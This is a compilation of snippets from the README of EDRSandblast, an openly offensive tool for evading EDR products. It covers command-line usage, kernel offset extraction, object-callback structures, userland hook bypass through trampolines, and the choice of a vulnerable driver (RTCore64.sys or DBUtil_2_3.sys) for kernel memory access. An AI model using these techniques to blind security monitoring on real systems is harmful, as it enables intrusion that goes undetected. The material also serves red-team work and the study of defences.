### Install Python Dependencies Source: https://github.com/wavestone-cdt/edrsandblast/blob/master/README.md Installs the necessary Python dependencies for the ExtractOffsets.py script. Ensure you are in the project directory. ```bash # Installation of Python dependencies pip.exe install -m .\requirements.txt ``` -------------------------------- ### Assembly: Original Bytes for Hook Bypass Source: https://github.com/wavestone-cdt/edrsandblast/blob/master/README.md These are the original bytes of the monitored function that were overwritten by the EDR to install the hook. They are needed to reconstruct the function's original behavior. ```assembly mov r10, rcx mov eax, 50h ``` -------------------------------- ### EDRSandblast Command-Line Usage Source: https://github.com/wavestone-cdt/edrsandblast/blob/master/README.md This is the main command-line interface for EDRSandblast. It lists all available actions and options for interacting with the system. ```bash Usage: EDRSandblast.exe [-h | --help] [-v | --verbose] [--usermode] [--unhook-method ] [--direct-syscalls] [--add-dll ]* [--kernelmode] [--dont-unload-driver] [--no-restore] [--nt-offsets ] [--fltmgr-offsets ] [--wdigest-offsets ] [--ci-offsets ] [--internet] [--vuln-driver ] [--vuln-service ] [--unsigned-driver ] [--unsigned-service ] [--no-kdp] [-o | --dump-output ] ``` -------------------------------- ### Loading Arbitrary Libraries with EDRSandblast Source: https://github.com/wavestone-cdt/edrsandblast/blob/master/README.md Use the --add-dll option to load arbitrary libraries into a process's address space before EDRSandblast performs its operations. This is useful for auditing userland hooking. ```bash --add-dll Loads arbitrary libraries into the process's address space, before starting anything.This can be useful to audit userland hooking for DLL that are not loaded by default by this program. Use this option multiple times to load multiple DLLs all at once. Example of interesting DLLs to look at: user32.dll, ole32.dll, crypt32.dll, samcli.dll, winhttp.dll, urlmon.dll, secur32.dll, shell32.dll... ``` -------------------------------- ### Automatic Offset Retrieval with Internet Access Source: https://github.com/wavestone-cdt/edrsandblast/blob/master/README.md This option allows EDRSandBlast to automatically download required .pdb files from Microsoft Symbol Server, extract offsets, and update corresponding .csv files. It simplifies execution but introduces an OpSec risk due to downloading .pdb files. ```bash --internet ``` -------------------------------- ### ExtractOffsets.py Script Usage Source: https://github.com/wavestone-cdt/edrsandblast/blob/master/README.md Demonstrates the command-line usage of the ExtractOffsets.py script for extracting offsets. The script supports different modes and optional arguments for input, output, and downloading PEs. ```bash # Script usage ExtractOffsets.py [-h] -i INPUT [-o OUTPUT] [-d] mode positional arguments: mode ntoskrnl or wdigest. Mode to download and extract offsets for either ntoskrnl or wdigest optional arguments: -h, --help show this help message and exit -i INPUT, --input INPUT Single file or directory containing ntoskrnl.exe / wdigest.dll to extract offsets from. If in download mode, the PE downloaded from MS symbols servers will be placed in this folder. -o OUTPUT, --output OUTPUT CSV file to write offsets to. If the specified file already exists, only new ntoskrnl versions will be downloaded / analyzed. Defaults to NtoskrnlOffsets.csv / WdigestOffsets.csv in the current folder. -d, --download Flag to download the PE from Microsoft servers using list of versions from winbindex.m417z.com. ``` -------------------------------- ### Extract Offsets using Python Script Source: https://github.com/wavestone-cdt/edrsandblast/blob/master/README.md This Python script utilizes radare2 and r2pipe to download and parse symbols from PDB files, extracting necessary offsets for ntoskrnl.exe and wdigest.dll. Offsets are stored in CSV files for EDRSandblast. ```python ExtractOffsets.py ``` -------------------------------- ### OB_CALLBACK_ENTRY Structure Definition Source: https://github.com/wavestone-cdt/edrsandblast/blob/master/README.md Defines the structure of an object callback registration in the Windows kernel. This structure is used to manage callbacks for object operations like creation and duplication. ```c typedef struct OB_CALLBACK_ENTRY_t { LIST_ENTRY CallbackList; // linked element tied to _OBJECT_TYPE.CallbackList OB_OPERATION Operations; // bitfield : 1 for Creations, 2 for Duplications BOOL Enabled; // self-explanatory OB_CALLBACK* Entry; // points to the structure in which it is included POBJECT_TYPE ObjectType; // points to the object type affected by the callback POB_PRE_OPERATION_CALLBACK PreOperation; // callback function called before each handle operation POB_POST_OPERATION_CALLBACK PostOperation; // callback function called after each handle operation KSPIN_LOCK Lock; // lock object used for synchronization } OB_CALLBACK_ENTRY; ``` -------------------------------- ### Structure of _OBJECT_TYPE Source: https://github.com/wavestone-cdt/edrsandblast/blob/master/README.md This C struct shows the layout of the _OBJECT_TYPE, highlighting the LIST_ENTRY for CallbackList. ```c struct _OBJECT_TYPE { LIST_ENTRY TypeList; UNICODE_STRING Name; [...] _OBJECT_TYPE_INITIALIZER TypeInfo; [...] LIST_ENTRY CallbackList; } ``` -------------------------------- ### OB_CALLBACK Structure Definition Source: https://github.com/wavestone-cdt/edrsandblast/blob/master/README.md Defines the structure that contains registered object callbacks. It includes version information, operation count, registration context, altitude string, and an array of callback entries. ```c typedef struct OB_CALLBACK_t { USHORT Version; // usually 0x100 USHORT OperationRegistrationCount; // number of registered callbacks PVOID RegistrationContext; // arbitrary data passed at registration time UNICODE_STRING AltitudeString; // used to determine callbacks order struct OB_CALLBACK_ENTRY_t EntryItems[1]; // array of OperationRegistrationCount items WCHAR AltitudeBuffer[1]; // is AltitudeString.MaximumLength bytes long, and pointed by AltitudeString.Buffer } OB_CALLBACK; ``` -------------------------------- ### Original NtProtectVirtualMemory Function Source: https://github.com/wavestone-cdt/edrsandblast/blob/master/README.md This assembly code represents the original implementation of the NtProtectVirtualMemory function before any EDR hooking. ```assembly NtProtectVirtualMemory proc near mov r10, rcx mov eax, 50h test byte ptr ds:7FFE0308h, 1 jnz short loc_18009D1E5 syscall retn loc_18009D1E5: int 2Eh retn NtProtectVirtualMemory endp ``` -------------------------------- ### Select Vulnerable Driver for Kernel Memory Primitives Source: https://github.com/wavestone-cdt/edrsandblast/blob/master/README.md This C code snippet defines which vulnerable driver to use for kernel memory read/write operations. It allows selection between RTCore64.sys and DBUtil_2_3.sys. ```c #define RTCore 0 #define DBUtil 1 // Select the driver to use with the following #define #define VULN_DRIVER RTCore #if VULN_DRIVER == RTCore #define DEFAULT_DRIVER_FILE TEXT("RTCore64.sys") #define CloseDriverHandle CloseDriverHandle_RTCore #define ReadMemoryPrimitive ReadMemoryPrimitive_RTCore #define WriteMemoryPrimitive WriteMemoryPrimitive_RTCore #elif VULN_DRIVER == DBUtil #define DEFAULT_DRIVER_FILE TEXT("DBUtil_2_3.sys") #define CloseDriverHandle CloseDriverHandle_DBUtil #define ReadMemoryPrimitive ReadMemoryPrimitive_DBUtil #define WriteMemoryPrimitive WriteMemoryPrimitive_DBUtil #endif ``` -------------------------------- ### Hooked NtProtectVirtualMemory Function Source: https://github.com/wavestone-cdt/edrsandblast/blob/master/README.md This assembly code shows the NtProtectVirtualMemory function after being hooked by an EDR product, redirecting execution to an analysis function. ```assembly NtProtectVirtualMemory proc near jmp sub_7FFC74490298 ; --> "hook", jump to EDR analysis function int 3 ; overwritten instructions int 3 ; overwritten instructions int 3 ; overwritten instructions test byte_7FFE0308, 1 ; <-- execution resumes here after analysis jnz short loc_7FFCB44AD1E5 syscall retn loc_7FFCB44AD1E5: int 2Eh retn NtProtectVirtualMemory endp ``` -------------------------------- ### Assembly: Jump Instruction for Trampoline Source: https://github.com/wavestone-cdt/edrsandblast/blob/master/README.md This assembly instruction is used to create a jump to the code following the hook, effectively bypassing the hook and executing the rest of the original function. ```assembly jmp NtProtectVirtualMemory+8 ``` === COMPLETE CONTENT === This response contains all available snippets from this library. No additional content exists. Do not make further requests.